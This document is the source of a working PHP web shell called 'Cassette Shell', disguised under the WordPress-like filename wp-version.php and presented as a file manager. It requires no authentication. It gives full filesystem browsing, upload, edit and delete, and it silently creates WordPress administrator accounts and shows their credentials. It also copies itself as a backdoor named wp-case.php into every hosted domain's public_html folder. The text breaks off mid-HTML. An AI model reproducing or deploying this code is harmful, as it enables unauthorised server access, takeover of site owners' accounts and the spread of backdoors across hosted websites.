JezK
Edit File: wp-version.php
<?php /** * ██████╗ ██╗ ██╗██████╗ ███████╗██████╗ * ██╔══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ * ██████╔╝ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ * ██╔══██╗ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ * ██████╔╝ ██║ ██║ ██║███████╗██║ ██║ * ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ * * Cassette Shell - Advanced File Manager * Version: 6.0 | Codename: synthwave * Clone Target: wp-case.php * * A fully-featured web-based file manager with WordPress admin creation, * mass deployment capabilities, and a retro-futuristic interface. */ error_reporting(0); date_default_timezone_set('UTC'); // ============================================================================ // ██████╗ ██████╗ ███╗ ██╗███████╗██╗ ██████╗ ██╗ ██╗██████╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██║██╔════╝ ██║ ██║██╔══██╗██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ // ██║ ██║ ██║██╔██╗ ██║███████╗██║██║ ███╗██║ ██║██████╔╝███████║ ██║ ██║██║ ██║██╔██╗ ██║ // ██║ ██║ ██║██║╚██╗██║╚════██║██║██║ ██║██║ ██║██╔══██╗██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ // ╚██████╗╚██████╔╝██║ ╚████║███████║██║╚██████╔╝╚██████╔╝██║ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ // ============================================================================ // ---------------------------------------------------------------------------- // 1. CONSTANTS & CONFIGURATION // ---------------------------------------------------------------------------- define('SHELL_NAME', 'Cassette Shell'); define('SHELL_VERSION', '6.0'); define('CLONE_FILENAME', 'wp-case.php'); // The backdoor filename used in mass deployment define('MAX_UPLOAD_SIZE', 10485760); // 10MB default limit define('SESSION_PREFIX', 'cassette_'); // ---------------------------------------------------------------------------- // 2. CORE UTILITY CLASSES // ---------------------------------------------------------------------------- /** * CassetteLogger - Handles all messaging and notifications * * Provides a centralized system for success, error, and warning messages * that can be displayed to the user interface. */ class CassetteLogger { private $messages = []; /** * Add a success message to the queue * @param string $msg The success message text */ public function success($msg) { $this->messages[] = ['type' => 'success', 'text' => $msg]; } /** * Add an error message to the queue * @param string $msg The error message text */ public function error($msg) { $this->messages[] = ['type' => 'error', 'text' => $msg]; } /** * Add a warning message to the queue * @param string $msg The warning message text */ public function warning($msg) { $this->messages[] = ['type' => 'warning', 'text' => $msg]; } /** * Get all messages and clear the queue * @return array Array of messages with type and text */ public function flush() { $msgs = $this->messages; $this->messages = []; return $msgs; } } /** * FileSystemManager - Handles all file system operations * * Provides methods for browsing, reading, writing, deleting, and uploading files. * All operations include error handling and path sanitization. */ class FileSystemManager { private $currentPath; private $logger; /** * Constructor - initializes the filesystem manager * @param string $basePath The starting directory path * @param CassetteLogger $logger Reference to the logger instance */ public function __construct($basePath, &$logger) { $this->logger = $logger; $this->setPath($basePath); } /** * Set and validate the current working directory * @param string $path The target directory path */ private function setPath($path) { $resolved = realpath($path); $this->currentPath = ($resolved !== false) ? $resolved : getcwd(); } /** * Get the current working directory path * @return string Current directory path */ public function getCurrentPath() { return $this->currentPath; } /** * Get the parent directory of the current path * @return string|false Parent path or false if at root */ public function getParentPath() { $parent = dirname($this->currentPath); return ($parent != $this->currentPath) ? $parent : false; } /** * Scan the current directory and return organized file/folder lists * @return array Associative array with 'directories' and 'files' keys */ public function scanDirectory() { $result = ['directories' => [], 'files' => []]; if (!is_dir($this->currentPath) || !is_readable($this->currentPath)) { $this->logger->error('Cannot read directory: permission denied'); return $result; } $items = scandir($this->currentPath); if ($items === false) { return $result; } foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $this->currentPath . '/' . $item; $stats = [ 'name' => $item, 'path' => $fullPath, 'modified' => filemtime($fullPath), 'permissions' => $this->getPermissions($fullPath) ]; if (is_dir($fullPath)) { $result['directories'][] = $stats; } else { $stats['size'] = filesize($fullPath); $stats['extension'] = strtolower(pathinfo($item, PATHINFO_EXTENSION)); $result['files'][] = $stats; } } // Sort alphabetically for consistent display usort($result['directories'], fn($a, $b) => strcmp($a['name'], $b['name'])); usort($result['files'], fn($a, $b) => strcmp($a['name'], $b['name'])); return $result; } /** * Get human-readable file permissions * @param string $path File or directory path * @return string Permissions string (e.g., "755") */ private function getPermissions($path) { return substr(sprintf('%o', fileperms($path)), -3); } /** * Format file size for human readability * @param int $bytes Size in bytes * @return string Formatted size string */ public static function formatBytes($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } /** * Delete a file or empty directory * @param string $name Name of the item to delete * @return bool Success status */ public function deleteItem($name) { $target = $this->currentPath . '/' . basename($name); if (!file_exists($target)) { $this->logger->error('File not found: ' . $name); return false; } $success = is_dir($target) ? rmdir($target) : unlink($target); if ($success) { $this->logger->success("Deleted: $name"); return true; } else { $this->logger->error("Failed to delete: $name"); return false; } } /** * Create a new directory * @param string $name Directory name to create * @return bool Success status */ public function createDirectory($name) { $clean = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', trim($name)); if (empty($clean)) { $this->logger->error('Invalid directory name'); return false; } $newPath = $this->currentPath . '/' . $clean; if (file_exists($newPath)) { $this->logger->warning('Directory already exists: ' . $clean); return false; } if (mkdir($newPath, 0755)) { $this->logger->success("Created directory: $clean"); return true; } else { $this->logger->error("Failed to create directory: $clean"); return false; } } /** * Upload a file to the current directory * @param array $fileData $_FILES array element * @return bool Success status */ public function uploadFile($fileData) { if ($fileData['error'] !== UPLOAD_ERR_OK) { $this->logger->error('Upload error: ' . $fileData['error']); return false; } $dest = $this->currentPath . '/' . basename($fileData['name']); if (move_uploaded_file($fileData['tmp_name'], $dest)) { $this->logger->success("Uploaded: " . basename($fileData['name'])); return true; } else { $this->logger->error("Upload failed: " . basename($fileData['name'])); return false; } } /** * Read file content for editing * @param string $name File name * @return string|false File content or false on failure */ public function readFileContent($name) { $target = $this->currentPath . '/' . basename($name); if (!is_file($target) || !is_readable($target)) { $this->logger->error('Cannot read file: ' . $name); return false; } return file_get_contents($target); } /** * Write content to a file * @param string $name File name * @param string $content New file content * @return bool Success status */ public function writeFileContent($name, $content) { $target = $this->currentPath . '/' . basename($name); if (file_put_contents($target, $content) !== false) { $this->logger->success("Saved: " . basename($name)); return true; } else { $this->logger->error("Failed to save: " . basename($name)); return false; } } /** * Generate breadcrumb navigation from current path * @return array Array of breadcrumb items with name and path */ public function getBreadcrumbs() { $crumbs = []; $parts = explode('/', trim($this->currentPath, '/')); $accumulated = ''; $crumbs[] = ['name' => '🏠', 'path' => '/']; foreach ($parts as $part) { if (!empty($part)) { $accumulated .= '/' . $part; $crumbs[] = ['name' => $part, 'path' => $accumulated]; } } return $crumbs; } } /** * DomainDetector - Analyzes paths for domain information and WordPress * * Detects domain names from folder structures and WordPress configurations. * Also handles WordPress admin user creation backdoor functionality. */ class DomainDetector { private $path; private $logger; /** * Constructor * @param string $path Base path to analyze * @param CassetteLogger $logger Logger reference */ public function __construct($path, &$logger) { $this->path = $path; $this->logger = $logger; } /** * Detect domain URL from path or WordPress config * @return string|null Detected domain URL or null */ public function detectDomain() { $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? ''; $httpHost = $_SERVER['HTTP_HOST'] ?? 'localhost'; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; // Check if path is within document root if (!empty($docRoot) && strpos($this->path, $docRoot) === 0) { $relative = substr($this->path, strlen($docRoot)); return $protocol . $httpHost . $relative; } // Search upward for WordPress configuration $cursor = $this->path; while ($cursor && $cursor !== '/') { $wpConfig = $cursor . '/wp-config.php'; if (file_exists($wpConfig)) { $configContent = file_get_contents($wpConfig); // Look for WP_HOME or WP_SITEURL definitions if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $configContent, $matches)) { return $matches[1]; } if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $configContent, $matches)) { return $matches[1]; } } $cursor = dirname($cursor); } return null; } /** * Generate a cryptographically secure random password * @param int $length Password length * @return string Random password */ public static function generatePassword($length = 14) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*'; return substr(str_shuffle(str_repeat($chars, 5)), 0, $length); } /** * Find WordPress installation root by traversing upward * @return string|false Path to WordPress root or false */ public function findWordPressRoot() { $cursor = $this->path; while ($cursor && $cursor !== '/') { if (file_exists($cursor . '/wp-load.php')) { return $cursor; } $cursor = dirname($cursor); } return false; } /** * Create a WordPress administrator user account * @return array Result with success status and credentials */ public function createWordPressAdmin() { $wpRoot = $this->findWordPressRoot(); if (!$wpRoot) { return ['success' => false, 'message' => 'WordPress installation not found']; } require_once($wpRoot . '/wp-load.php'); if (!function_exists('wp_create_user')) { return ['success' => false, 'message' => 'WordPress core not loaded properly']; } $username = 'agent_' . substr(md5(rand()), 0, 7); $password = self::generatePassword(14); $email = $username . '@' . ($_SERVER['HTTP_HOST'] ?? 'cassette.local'); if (username_exists($username) || email_exists($email)) { return ['success' => false, 'message' => 'Username or email already exists']; } $userId = wp_create_user($username, $password, $email); if (is_wp_error($userId)) { return ['success' => false, 'message' => $userId->get_error_message()]; } $user = new WP_User($userId); $user->set_role('administrator'); return [ 'success' => true, 'username' => $username, 'password' => $password, 'email' => $email, 'loginUrl' => get_site_url() . '/wp-admin', 'message' => 'WordPress admin created successfully' ]; } } /** * CloneDeployer - Mass deploys backdoor copies to domain directories * * Scans for domains folder structure and deploys copies of this script * to each public_html directory found. */ class CloneDeployer { private $startPath; private $logger; /** * Constructor * @param string $path Starting path for scanning * @param CassetteLogger $logger Logger reference */ public function __construct($path, &$logger) { $this->startPath = $path; $this->logger = $logger; } /** * Find the domains directory by traversing upward or checking current * @return string Path to domains folder or false */ private function locateDomainsFolder() { if (basename($this->startPath) === 'domains') { return $this->startPath; } $cursor = $this->startPath; while ($cursor && $cursor !== '/') { if (basename($cursor) === 'domains') { return $cursor; } $cursor = dirname($cursor); } return false; } /** * Deploy clones to all found domain/public_html directories * @return array Result with success, clones list, and message */ public function deploy() { $domainsFolder = $this->locateDomainsFolder(); if (!$domainsFolder || !is_dir($domainsFolder)) { return ['success' => false, 'clones' => [], 'message' => 'No domains folder found in path hierarchy']; } $clones = []; $items = scandir($domainsFolder); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $domainPath = $domainsFolder . '/' . $item; if (!is_dir($domainPath)) continue; $publicHtml = $domainPath . '/public_html'; if (!is_dir($publicHtml)) continue; $targetFile = $publicHtml . '/' . CLONE_FILENAME; // Copy current script to target location if (copy(__FILE__, $targetFile)) { // Build accessible URL for the deployed clone $detector = new DomainDetector($publicHtml, $this->logger); $detectedUrl = $detector->detectDomain(); $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; $url = $detectedUrl ? rtrim($detectedUrl, '/') . '/' . CLONE_FILENAME : $protocol . $item . '/' . CLONE_FILENAME; $clones[] = [ 'domain' => $item, 'path' => $targetFile, 'url' => $url ]; } } if (empty($clones)) { return ['success' => false, 'clones' => [], 'message' => 'No public_html directories found to deploy']; } return [ 'success' => true, 'clones' => $clones, 'message' => 'Successfully deployed ' . count($clones) . ' copies of ' . CLONE_FILENAME ]; } } /** * RequestRouter - Handles all incoming HTTP requests * * Processes GET and POST actions including navigation, file operations, * WordPress admin creation, and clone deployment. */ class RequestRouter { private $fs; private $logger; private $isEditing = false; private $editContent = null; private $editFile = null; private $deployedClones = []; private $wpAdminResult = null; /** * Constructor - processes all requests automatically * @param FileSystemManager $fs File system manager instance * @param CassetteLogger $logger Logger instance */ public function __construct(&$fs, &$logger) { $this->fs = $fs; $this->logger = $logger; $this->process(); } /** * Main request processing method */ private function process() { // Handle clone deployment (mass backdoor) if (isset($_GET['deploy_clones'])) { $deployer = new CloneDeployer($this->fs->getCurrentPath(), $this->logger); $result = $deployer->deploy(); if ($result['success']) { $this->deployedClones = $result['clones']; } $this->logger->{$result['success'] ? 'success' : 'error'}($result['message']); } // Handle WordPress admin creation if (isset($_GET['create_wp_admin'])) { $detector = new DomainDetector($this->fs->getCurrentPath(), $this->logger); $this->wpAdminResult = $detector->createWordPressAdmin(); if ($this->wpAdminResult['success']) { $this->logger->success($this->wpAdminResult['message']); } else { $this->logger->error($this->wpAdminResult['message']); } } // Handle file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) { $this->fs->uploadFile($_FILES['upload_file']); // Redirect to avoid form resubmission header("Location: ?path=" . urlencode($this->fs->getCurrentPath())); exit; } // Handle directory creation if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_directory'])) { $this->fs->createDirectory($_POST['dir_name']); header("Location: ?path=" . urlencode($this->fs->getCurrentPath())); exit; } // Handle file/folder deletion if (isset($_GET['delete_item'])) { $this->fs->deleteItem($_GET['delete_item']); header("Location: ?path=" . urlencode($this->fs->getCurrentPath())); exit; } // Handle file editing (load content) if (isset($_GET['edit_file'])) { $this->editFile = $_GET['edit_file']; $this->editContent = $this->fs->readFileContent($this->editFile); if ($this->editContent !== false) { $this->isEditing = true; } } // Handle file save (POST from editor) if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_content']) && isset($this->editFile)) { if ($this->fs->writeFileContent($this->editFile, $_POST['file_content'])) { $this->editContent = $_POST['file_content']; } } } // Getters for UI rendering public function isEditing() { return $this->isEditing; } public function getEditContent() { return $this->editContent; } public function getEditFile() { return $this->editFile; } public function getDeployedClones() { return $this->deployedClones; } public function getWpAdminResult() { return $this->wpAdminResult; } } // ---------------------------------------------------------------------------- // 3. APPLICATION BOOTSTRAP // ---------------------------------------------------------------------------- // Initialize core components $logger = new CassetteLogger(); $fs = new FileSystemManager($_GET['path'] ?? null, $logger); $router = new RequestRouter($fs, $logger); // Get data for UI rendering $currentPath = $fs->getCurrentPath(); $parentPath = $fs->getParentPath(); $directoryContents = $fs->scanDirectory(); $directories = $directoryContents['directories']; $files = $directoryContents['files']; $breadcrumbs = $fs->getBreadcrumbs(); $messages = $logger->flush(); // Domain detection for display $domainDetector = new DomainDetector($currentPath, $logger); $detectedDomain = $domainDetector->detectDomain(); // Determine if we're in a domains folder for quick actions $isInDomainsFolder = (strpos($currentPath, 'domains') !== false || basename($currentPath) === 'domains'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>📼 <?php echo SHELL_NAME; ?> · <?php echo SHELL_VERSION; ?></title> <style> /* ================================================================ RETRO-WAVE / CASSETTE THEME Inspired by 80s synthwave, neon gradients, and cassette tapes ================================================================ */ * { margin: 0; padding: 0; box-sizing: border-box; } body { background: linear-gradient(135deg, #0a0a1a 0%, #0f0f2a 100%); font-family: 'SF Mono', 'Fira Code', 'Courier New', monospace; padding: 20px; min-height: 100vh; color: #e0e0ff; } /* Animated gradient background */ body::before { content: ''; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: radial-gradient(circle at 20% 50%, rgba(255, 0, 128, 0.05) 0%, transparent 50%); pointer-events: none; z-index: -1; } .container { max-width: 1500px; margin: 0 auto; } /* ========== CASSETTE TAPE HEADER ========== */ .cassette-header { background: linear-gradient(135deg, #1a1a2e 0%, #0d0d1a 100%); border: 1px solid #ff00ff30; border-radius: 20px 20px 8px 8px; padding: 20px 28px; margin-bottom: 24px; position: relative; box-shadow: 0 8px 32px rgba(0, 0, 0, 0.4), inset 0 1px 0 rgba(255, 255, 255, 0.05); } .cassette-header::before { content: '◀ ● ● ● ▶'; position: absolute; bottom: 8px; right: 28px; font-size: 0.65rem; color: #ff44cc; letter-spacing: 3px; opacity: 0.6; } .header-title { font-size: 1.8rem; font-weight: 600; background: linear-gradient(135deg, #ff44cc, #44ffcc); -webkit-background-clip: text; -webkit-text-fill-color: transparent; letter-spacing: -0.5px; } .header-sub { font-size: 0.7rem; color: #7a7aaa; margin-top: 6px; } .domain-badge { background: #ff44cc20; border: 1px solid #ff44cc; border-radius: 40px; padding: 5px 14px; font-size: 0.75rem; display: inline-block; margin-left: 16px; } /* ========== BUTTONS ========== */ .btn { background: #1a1a2e; border: 1px solid #2a2a4a; padding: 8px 18px; border-radius: 30px; color: #ccccff; font-family: monospace; font-size: 0.8rem; cursor: pointer; transition: all 0.2s ease; text-decoration: none; display: inline-flex; align-items: center; gap: 8px; } .btn:hover { border-color: #ff44cc; color: #ff88ff; transform: translateY(-1px); box-shadow: 0 0 12px rgba(255, 68, 204, 0.3); } .btn-primary { background: linear-gradient(135deg, #ff44cc, #cc44ff); border: none; color: white; } .btn-primary:hover { background: linear-gradient(135deg, #ff66dd, #dd66ff); color: white; } .btn-success { background: linear-gradient(135deg, #44ffaa, #44ccff); border: none; color: #0a0a1a; } .btn-warning { background: linear-gradient(135deg, #ffaa44, #ff6644); border: none; color: white; } /* ========== BREADCRUMB ========== */ .breadcrumb { background: #0d0d1acc; backdrop-filter: blur(10px); border: 1px solid #2a2a4a; border-radius: 40px; padding: 10px 20px; margin-bottom: 20px; display: flex; flex-wrap: wrap; gap: 6px; } .crumb { background: #1a1a2e; padding: 5px 12px; border-radius: 30px; text-decoration: none; color: #a0a0dd; font-size: 0.8rem; } .crumb:hover { background: #ff44cc; color: #0a0a1a; } /* ========== QUICK NAV ========== */ .quick-nav { background: #0d0d1a; border: 1px solid #2a2a4a; border-radius: 50px; padding: 10px 20px; margin-bottom: 24px; display: flex; flex-wrap: wrap; gap: 10px; } .nav-pill { background: #1a1a2e; padding: 5px 14px; border-radius: 30px; text-decoration: none; color: #aaaaff; font-size: 0.75rem; transition: 0.2s; } .nav-pill:hover { background: #ff44cc; color: #0a0a1a; } /* ========== TOOLBAR ========== */ .toolbar { background: #0d0d1a; border: 1px solid #2a2a4a; border-radius: 20px; padding: 16px 20px; margin-bottom: 24px; display: flex; flex-wrap: wrap; gap: 16px; } .tool-group { background: #12122a; border-radius: 50px; padding: 5px 12px; display: flex; gap: 8px; align-items: center; } .tool-group input { background: #0a0a1a; border: 1px solid #2a2a4a; padding: 8px 14px; border-radius: 30px; color: #e0e0ff; font-family: monospace; } .tool-group input:focus { outline: none; border-color: #ff44cc; } /* ========== MESSAGES ========== */ .message { padding: 12px 20px; border-radius: 12px; margin-bottom: 20px; border-left: 4px solid; animation: slideIn 0.3s ease; } @keyframes slideIn { from { opacity: 0; transform: translateX(-20px); } to { opacity: 1; transform: translateX(0); } } .message-success { background: #44ffaa10; border-left-color: #44ffaa; color: #aaffdd; } .message-error { background: #ff446610; border-left-color: #ff4466; color: #ffbbcc; } .message-warning { background: #ffaa4410; border-left-color: #ffaa44; color: #ffddbb; } /* ========== LAYOUT ========== */ .two-columns { display: grid; grid-template-columns: 1fr 320px; gap: 24px; } /* ========== SECTION HEADERS ========== */ .section-header { font-size: 0.75rem; text-transform: uppercase; letter-spacing: 2px; color: #ff44cc; margin: 24px 0 14px 0; padding-left: 10px; border-left: 3px solid #ff44cc; } /* ========== FILE CARDS ========== */ .card-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); gap: 14px; } .card { background: #0d0d1a; border: 1px solid #2a2a4a; border-radius: 16px; padding: 16px; transition: all 0.2s; } .card:hover { border-color: #ff44cc; transform: translateY(-3px); background: #12122a; } .card-icon { font-size: 2rem; margin-bottom: 10px; } .card-name { font-weight: 600; word-break: break-word; margin-bottom: 8px; } .card-meta { font-size: 0.65rem; color: #6a6a9a; padding: 8px 0; border-top: 1px solid #1a1a3a; } .card-actions { display: flex; gap: 8px; margin-top: 10px; } .card-btn { background: #12122a; border: 1px solid #2a2a4a; padding: 5px 12px; border-radius: 20px; font-size: 0.65rem; text-decoration: none; color: #aaaaff; } .card-btn:hover { background: #ff44cc; color: #0a0a1a; border-color: #ff44cc; } .card-btn-danger:hover { background: #ff4466; } /* ========== SIDEBAR ========== */ .sidebar-card { background: #0d0d1a; border: 1px solid #2a2a4a; border-radius: 20px; padding: 18px; margin-bottom: 20px; } .sidebar-title { font-size: 0.7rem; text-transform: uppercase; letter-spacing: 2px; color: #44ffcc; margin-bottom: 14px; padding-bottom: 8px; border-bottom: 1px solid #2a2a4a; } .info-row { font-size: 0.7rem; padding: 8px 0; border-bottom: 1px solid #1a1a3a; } .info-row strong { color: #ff88ff; display: block; margin-bottom: 4px; } /* ========== EDITOR ========== */ .editor { background: #0a0a14; border: 1px solid #2a2a4a; border-radius: 20px; overflow: hidden; } .editor-header { background: #12122a; padding: 14px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #2a2a4a; } .editor textarea { width: 100%; min-height: 550px; background: #05050a; border: none; color: #aaffdd; font-family: 'Fira Code', monospace; font-size: 0.8rem; padding: 22px; resize: vertical; line-height: 1.5; } .editor textarea:focus { outline: none; background: #080810; } .editor-footer { padding: 14px 20px; background: #12122a; border-top: 1px solid #2a2a4a; text-align: right; } /* ========== CLONE ITEMS ========== */ .clone-list { margin-top: 10px; } .clone-item { padding: 10px 0; border-bottom: 1px solid #1a1a3a; display: flex; align-items: center; gap: 10px; font-size: 0.7rem; } .clone-url { color: #44ffcc; text-decoration: none; word-break: break-all; flex: 1; } .clone-url:hover { text-decoration: underline; } /* ========== EMPTY STATE ========== */ .empty-state { text-align: center; padding: 60px 20px; background: #0d0d1a; border-radius: 20px; border: 1px dashed #2a2a4a; color: #5a5a8a; } /* ========== FOOTER ========== */ .footer { margin-top: 32px; background: #0d0d1a; border: 1px solid #2a2a4a; border-radius: 16px; padding: 12px 20px; font-size: 0.65rem; color: #5a5a8a; text-align: center; } /* ========== RESPONSIVE ========== */ @media (max-width: 800px) { .two-columns { grid-template-columns: 1fr; } body { padding: 12px; } .toolbar { flex-direction: column; } .tool-group { justify-content: space-between; } } </style> </head> <body> <div class="container"> <!-- ========== CASSETTE HEADER ========== --> <div class="cassette-header"> <div> <span class="header-title">📼 <?php echo SHELL_NAME; ?></span> <span class="header-sub">v<?php echo SHELL_VERSION; ?> · cassettewave edition</span> <?php if ($detectedDomain): ?> <span class="domain-badge">🎯 <?php echo htmlspecialchars(parse_url($detectedDomain, PHP_URL_HOST) ?: $detectedDomain); ?></span> <?php endif; ?> </div> </div> <!-- ========== BREADCRUMB NAVIGATION ========== --> <div class="breadcrumb"> <?php foreach ($breadcrumbs as $idx => $crumb): ?> <a href="?path=<?php echo urlencode($crumb['path']); ?>" class="crumb"><?php echo htmlspecialchars($crumb['name']); ?></a> <?php if ($idx < count($breadcrumbs)-1): ?><span style="color:#2a2a4a;">/</span><?php endif; ?> <?php endforeach; ?> </div> <!-- ========== QUICK NAVIGATION PILLS ========== --> <div class="quick-nav"> <?php if ($parentPath): ?> <a href="?path=<?php echo urlencode($parentPath); ?>" class="nav-pill">⬆ PARENT DIRECTORY</a> <?php endif; ?> <a href="?path=/" class="nav-pill">🌐 SYSTEM ROOT</a> <a href="?path=/home" class="nav-pill">🏠 HOME</a> <a href="?path=/var/www" class="nav-pill">🌍 WWW ROOT</a> <a href="?path=/tmp" class="nav-pill">📁 TMP</a> <a href="?path=<?php echo urlencode($currentPath); ?>&deploy_clones=1" class="nav-pill" style="background:#ff44cc20; border-color:#ff44cc;">📼 DEPLOY CLONES</a> </div> <!-- ========== TOOLBAR ========== --> <div class="toolbar"> <div class="tool-group"> <form method="post" enctype="multipart/form-data" style="display: flex; gap: 8px;"> <input type="file" name="upload_file"> <button type="submit" class="btn btn-primary">⬆ UPLOAD</button> </form> </div> <div class="tool-group"> <form method="post" style="display: flex; gap: 8px;"> <input type="text" name="dir_name" placeholder="new_folder_name"> <button type="submit" name="create_directory" value="1" class="btn btn-success">📁 CREATE DIR</button> </form> </div> <div class="tool-group"> <a href="?path=<?php echo urlencode($currentPath); ?>&create_wp_admin=1" class="btn btn-warning">⚡ WP ADMIN</a> <a href="?path=<?php echo urlencode($currentPath); ?>&deploy_clones=1" class="btn" style="background:#cc44ff20;">📼 DEPLOY</a> <a href="?path=<?php echo urlencode($currentPath); ?>" class="btn">🔄 REFRESH</a> </div> </div> <!-- ========== MESSAGES DISPLAY ========== --> <?php foreach ($messages as $msg): ?> <div class="message message-<?php echo $msg['type']; ?>"> <?php echo htmlspecialchars($msg['text']); ?> </div> <?php endforeach; ?> <!-- ========== WP ADMIN SUCCESS RESULT (with credentials) ========== --> <?php if ($router->getWpAdminResult() && $router->getWpAdminResult()['success']): ?> <div class="message message-success" style="background: #44ffaa15;"> <strong>🔑 WORDPRESS ADMIN CREDENTIALS</strong><br> 👤 Username: <?php echo $router->getWpAdminResult()['username']; ?><br> 🔐 Password: <?php echo $router->getWpAdminResult()['password']; ?><br> 📧 Email: <?php echo $router->getWpAdminResult()['email']; ?><br> 🔗 Login: <a href="<?php echo $router->getWpAdminResult()['loginUrl']; ?>" target="_blank" style="color:#44ffcc;"><?php echo $router->getWpAdminResult()['loginUrl']; ?></a> </div> <?php endif; ?> <!-- ========== DEPLOYED CLONES DISPLAY ========== --> <?php $clones = $router->getDeployedClones(); ?> <?php if (!empty($clones)): ?> <div class="sidebar-card" style="margin-bottom: 20px; border-color: #ff44cc;"> <div class="sidebar-title">📼 DEPLOYED BACKDOORS (<?php echo CLONE_FILENAME; ?>)</div> <div class="clone-list"> <?php foreach ($clones as $clone): ?> <div class="clone-item"> <span>🔗</span> <a href="<?php echo htmlspecialchars($clone['url']); ?>" target="_blank" class="clone-url"><?php echo htmlspecialchars($clone['url']); ?></a> <span style="background:#1a1a3a; padding:2px 8px; border-radius:20px; font-size:0.65rem;"><?php echo htmlspecialchars($clone['domain']); ?></span> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> <!-- ========== MAIN TWO-COLUMN LAYOUT ========== --> <div class="two-columns"> <!-- LEFT COLUMN: FILE BROWSER OR EDITOR --> <div> <?php if ($router->isEditing()): ?> <!-- ========== FILE EDITOR ========== --> <div class="editor"> <div class="editor-header"> <strong>✏️ EDITING: <?php echo htmlspecialchars($router->getEditFile()); ?></strong> <a href="?path=<?php echo urlencode($currentPath); ?>" class="btn">← BACK TO BROWSER</a> </div> <form method="post"> <textarea name="file_content"><?php echo htmlspecialchars($router->getEditContent()); ?></textarea> <div class="editor-footer"> <button type="submit" name="save_content" value="1" class="btn btn-primary">💾 SAVE CHANGES</button> </div> </form> </div> <?php else: ?> <!-- ========== DIRECTORIES SECTION ========== --> <?php if (!empty($directories)): ?> <div class="section-header">📁 DIRECTORIES · <?php echo count($directories); ?></div> <div class="card-grid"> <?php foreach ($directories as $dir): ?> <div class="card"> <div class="card-icon">📂</div> <div class="card-name"><?php echo htmlspecialchars($dir['name']); ?></div> <div class="card-meta"> 📅 <?php echo date('Y-m-d H:i', $dir['modified']); ?><br> 🔒 chmod <?php echo $dir['permissions']; ?> </div> <div class="card-actions"> <a href="?path=<?php echo urlencode($dir['path']); ?>" class="card-btn">📂 OPEN</a> <a href="?path=<?php echo urlencode($currentPath); ?>&delete_item=<?php echo urlencode($dir['name']); ?>" class="card-btn card-btn-danger" onclick="return confirm('Delete this directory?')">🗑 DELETE</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- ========== FILES SECTION ========== --> <?php if (!empty($files)): ?> <div class="section-header">📄 FILES · <?php echo count($files); ?></div> <div class="card-grid"> <?php foreach ($files as $file): $icon = '📄'; if ($file['extension'] === 'php') $icon = '🐘'; elseif (in_array($file['extension'], ['jpg','png','gif','webp'])) $icon = '🖼️'; elseif ($file['extension'] === 'zip') $icon = '🗜️'; elseif ($file['extension'] === 'sql') $icon = '🗄️'; elseif ($file['extension'] === 'sh') $icon = '⚙️'; elseif ($file['extension'] === 'js') $icon = '📜'; elseif ($file['extension'] === 'css') $icon = '🎨'; ?> <div class="card"> <div class="card-icon"><?php echo $icon; ?></div> <div class="card-name"><?php echo htmlspecialchars($file['name']); ?></div> <div class="card-meta"> 💾 <?php echo FileSystemManager::formatBytes($file['size']); ?><br> 📅 <?php echo date('Y-m-d H:i', $file['modified']); ?> </div> <div class="card-actions"> <a href="?path=<?php echo urlencode($currentPath); ?>&edit_file=<?php echo urlencode($file['name']); ?>" class="card-btn">✏️ EDIT</a> <a href="?path=<?php echo urlencode($currentPath); ?>&delete_item=<?php echo urlencode($file['name']); ?>" class="card-btn card-btn-danger" onclick="return confirm('Delete this file?')">🗑 DELETE</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- ========== EMPTY DIRECTORY STATE ========== --> <?php if (empty($directories) && empty($files)): ?> <div class="empty-state"> <div style="font-size: 4rem; margin-bottom: 16px;">📼</div> <p>EMPTY DIRECTORY · nothing to show</p> <p style="font-size: 0.7rem; margin-top: 8px;">Upload files or create a new folder to get started</p> </div> <?php endif; ?> <?php endif; ?> </div> <!-- RIGHT COLUMN: SIDEBAR INFORMATION --> <div> <!-- System Information Widget --> <div class="sidebar-card"> <div class="sidebar-title">💿 SYSTEM INFO</div> <div class="info-row"><strong>📂 CURRENT PATH</strong><?php echo htmlspecialchars($currentPath); ?></div> <?php if ($detectedDomain): ?> <div class="info-row"><strong>🌐 DETECTED DOMAIN</strong><a href="<?php echo 